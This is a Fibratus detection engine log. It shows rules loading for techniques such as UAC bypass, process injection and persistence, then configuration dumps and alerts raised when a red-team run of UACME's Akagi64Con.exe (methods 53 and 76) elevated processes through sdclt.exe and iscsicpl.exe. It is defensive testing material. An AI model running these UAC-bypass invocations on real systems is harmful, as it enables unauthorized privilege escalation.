C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:29:43+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-23T18:29:43+01:00 level=info msg=bootstrapping with pid 18900. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T18:29:43+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true enable-threadpool=>false enable-registry=>true enable-vamap=>true stack-enrichment=>true min-buffers=>16 max-buffers=>36 enable-mem=>false buffer-size=>512 flush-interval=>1s enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-handle=>false enable-image=>true enable-thread=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 log-stdout=>true formatter=>text max-backups=>15 level=>info] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] amqp=>[ exchange=>fibratus exchange-type=>topic delivery-mode=>transient passive=>false tls-insecure-skip-verify=>false vhost=>/ timeout=>5s routing-key=>fibratus enabled=>false durable=>false url=>amqp://localhost:5672] elasticsearch=>[ bulk-workers=>1 timeout=>5s trace-log=>false enabled=>false flush-period=>1s servers=>[http://127.0.0.1:9200] index-name=>fibratus gzip-compression=>false template-name=>fibratus sniff=>false healthcheck=>true healthcheck-interval=>10s healthcheck-timeout=>5s] http=>[ method=>POST enabled=>false endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-allocs=>false skip-mmaps=>false excluded-procs=>[] enabled=>false scan-timeout=>10s skip-files=>false excluded-files=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-23T18:29:44+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:29:52+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:30:26+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{546809BD-DF44-4154-93A9-7F9A64631141}\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 620797 + Pid: 15316 + Tid: 6952 + Type: RegSetValue + CPU: 3 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-23 18:29:54.0076459 +0100 CET + Params: key_handle➜ ffffe582e70d6320, key_path➜ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{546809BD-DF44-4154-93A9-7F9A64631141}\, status➜ Success + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1112, rule.name: Hidden registry key creation, technique.name: Modify Registry, technique.ref: https://attack.mitre.org/techniques/T1112/, tactic.id: TA0005 + + Pid: 15316 + Ppid: 15364 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 53 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 53] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-23T18:30:28+01:00 level=info msg=sending alert: [UAC bypass via Control Panel applet execution hijack]. Text: Event(s): + Seq: 630739 + Pid: 2688 + Tid: 15508 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-23 18:29:55.7793146 +0100 CET + Params: cmdline➜ "C:\Windows\System32\control.exe" /name Microsoft.BackupAndRestoreCenter, directory_table_base➜ 3953c9000, domain➜ ARCHRABBIT, exe➜ C:\Windows\System32\control.exe, exit_status➜ Success, flags➜ , kproc➜ ffffcf8a4acc8080, name➜ control.exe, pid➜ 5168, ppid➜ 2688, real_ppid➜ 2688, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-23 18:29:55.7793146 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 1763919014032930744, rule.name: UAC bypass via Control Panel applet execution hijack, tactic.id: TA0004 + + Pid: 2688 + Ppid: 15316 + Name: sdclt.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\WINDOWS\system32\sdclt.exe" + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 53 + Exe: C:\WINDOWS\system32\sdclt.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\sdclt.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-23T18:31:30+01:00 level=error msg=unable to parse PE exports for module [C:\Users\nedo\AppData\Local\Temp\iscsiexe.dll]: open C:\Users\nedo\AppData\Local\Temp\iscsiexe.dll: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-23T18:31:30+01:00 level=info msg=sending alert: [UAC bypass via Control Panel applet execution hijack]. Text: Event(s): + Seq: 739422 + Pid: 19340 + Tid: 2612 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-23 18:31:24.6127028 +0100 CET + Params: cmdline➜ "C:\WINDOWS\syswow64\cmd.exe", directory_table_base➜ 2fd608000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\syswow64\cmd.exe, exit_status➜ Success, flags➜ WOW64, kproc➜ ffffcf8a4a9f4080, name➜ cmd.exe, pid➜ 4580, ppid➜ 19340, real_ppid➜ 19340, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-23 18:31:24.6125184 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: 4829547883403411456, rule.name: UAC bypass via Control Panel applet execution hijack + + Pid: 19340 + Ppid: 7704 + Name: iscsicpl.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\WINDOWS\syswow64\iscsicpl.exe" + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 76 + Exe: C:\WINDOWS\syswow64\iscsicpl.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\syswow64\iscsicpl.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-23T18:37:03+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T18:37:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:37:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:39:09+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T18:39:09+01:00 level=info msg=bootstrapping with pid 15252. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T18:39:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ port=>25 to=>[] enabled=>false content-type=>text/html use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-image=>true enable-mem=>false enable-thread=>true enable-audit-api=>true enable-vamap=>true max-buffers=>36 stack-enrichment=>true enable-dns=>false min-buffers=>16 buffer-size=>512 enable-net=>true enable-handle=>false enable-registry=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 max-age=>0 formatter=>text log-stdout=>true level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ enabled=>false index-name=>fibratus gzip-compression=>false healthcheck-interval=>10s template-name=>fibratus healthcheck-timeout=>5s flush-period=>1s timeout=>5s healthcheck=>true trace-log=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 sniff=>false] http=>[ endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json timeout=>5s method=>POST enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] amqp=>[ exchange=>fibratus durable=>false vhost=>/ enabled=>false tls-insecure-skip-verify=>false routing-key=>fibratus url=>amqp://localhost:5672 timeout=>5s passive=>false exchange-type=>topic delivery-mode=>transient]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-files=>[] skip-mmaps=>false fastscan=>true skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false excluded-procs=>[] enabled=>false scan-timeout=>10s skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-23T18:39:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:39:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:39:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T18:39:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:39:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:42:34+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T18:42:34+01:00 level=info msg=bootstrapping with pid 10180. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T18:42:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] content-type=>text/html port=>25 use-template=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-thread=>true enable-handle=>false min-buffers=>16 enable-fileio=>true enable-audit-api=>true enable-registry=>true max-buffers=>36 enable-net=>true enable-mem=>false enable-image=>true enable-dns=>false buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true stack-enrichment=>true enable-threadpool=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 formatter=>text max-size=>100 log-stdout=>true level=>info] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty] http=>[ enabled=>false tls-insecure-skip-verify=>false serializer=>json endpoints=>[] method=>POST enable-gzip=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] amqp=>[ durable=>false vhost=>/ exchange=>fibratus timeout=>5s tls-insecure-skip-verify=>false delivery-mode=>transient enabled=>false routing-key=>fibratus url=>amqp://localhost:5672 passive=>false exchange-type=>topic] elasticsearch=>[ index-name=>fibratus trace-log=>false timeout=>5s healthcheck-interval=>10s enabled=>false flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s bulk-workers=>1 healthcheck=>true sniff=>false gzip-compression=>false template-name=>fibratus]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-files=>false skip-registry=>false skip-allocs=>false scan-timeout=>10s fastscan=>true skip-mmaps=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-23T18:42:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:42:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:43:51+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T18:43:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:43:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:44:15+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T18:44:15+01:00 level=info msg=bootstrapping with pid 2472. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T18:44:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ port=>25 enabled=>false to=>[] use-template=>true content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ buffer-size=>512 enable-mem=>false enable-fileio=>true enable-registry=>true max-buffers=>36 enable-net=>true min-buffers=>16 enable-audit-api=>true enable-thread=>true enable-dns=>false enable-image=>true flush-interval=>1s enable-handle=>false enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-backups=>15 level=>info formatter=>text max-size=>100] + output ......................... [ http=>[ enable-gzip=>false serializer=>json endpoints=>[] method=>POST tls-insecure-skip-verify=>false timeout=>5s enabled=>false] elasticsearch=>[ timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false sniff=>false enabled=>false bulk-workers=>1 trace-log=>false healthcheck=>true template-name=>fibratus flush-period=>1s healthcheck-interval=>10s 